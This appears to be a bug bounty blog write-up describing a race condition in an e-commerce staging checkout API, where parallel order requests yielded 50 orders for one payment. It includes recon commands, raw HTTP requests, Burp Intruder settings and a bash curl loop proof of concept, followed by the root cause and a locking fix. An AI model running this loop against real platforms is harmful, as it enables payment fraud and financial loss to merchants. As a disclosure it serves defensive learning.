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It was a lazy Sunday. My internet was fast. My coffee was stronger than my will to be productive. And as usual, instead of cleaning my room or filing taxes, I decided to clean up someone else’s backend logic. 💻🧠

This is a story of how a subtle flaw in concurrency logic allowed me to exploit an e-commerce platform and become a digital shoplifter (ethically, of course).

I started with a massive recon sweep using my usual recon arsenal:

subfinder -d target.com | httpx -title -tech -status > live.txt

While digging through subdomains and endpoints, I noticed something interesting on a staging environment of an e-commerce app:

https://staging.target.com/checkout/confirm

Even though the frontend was boring, the API request structure on checkout caught my attention.

POST /api/order/place HTTP/1.1
Host: staging.target.com
Authorization: Bearer <token>
Content-Type: application/json

{
  "product_id": "9999",
  "quantity": 1
}

And the payment API was right next to it:

POST /api/payment/charge

Something smelled race-y here… 🫣

I fired up Burp Suite Intruder with multiple threads and replicated this payload 50 times:

{
  "product_id": "9999",
  "quantity": 1
}

I configured the intruder to use 15 threads, and within seconds, I had placed 50 orders… and only got charged once. 🚫⃣

Proof of Concept (PoC):

for i in {1..50}; do
  curl -X POST -H "Authorization: Bearer VALID_TOKEN" \
       -H "Content-Type: application/json" \
       -d '{"product_id": "9999", "quantity": 1}' \
       https://staging.target.com/api/order/place &
done

Waited a few seconds…

Checked my order history…

BOOM!

"orders": [
  {"order_id": "abc123", "status": "confirmed"},
  {"order_id": "abc124", "status": "confirmed"},
  ... x50
]

And I paid only ONCE. The app never locked the order state.

This bug was high severity for three big reasons:

• It allowed unlimited product access for the price of one.
• It worked on real production pricing endpoints.
• Sensitive backend logic was exposed without concurrency locking.

If a malicious user exploited this in the wild, the platform would bleed money — especially during sales.

Here’s what the devs forgot (and what I capitalized on):

• No concurrency control or locking mechanisms.
• Backend did not check pending or processing payment state.
• Each thread was treated like an isolated transaction.

A quick fix? Use mutexes, atomic operations, or a server-side flag that locks the product stock and payment status before processing the order.

Race conditions are one of those bugs you don’t see until it’s already too late. For developers, they’re nightmares. For hackers? Well…

They’re the roller coasters of bug bounty. 🎢

The key is to spot time-sensitive operations, then hit them fast and hard. Don’t just look at APIs. Abuse them like a bot on energy drinks.

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• Instagram: @rev_shinchan
• Gmail: [email protected]

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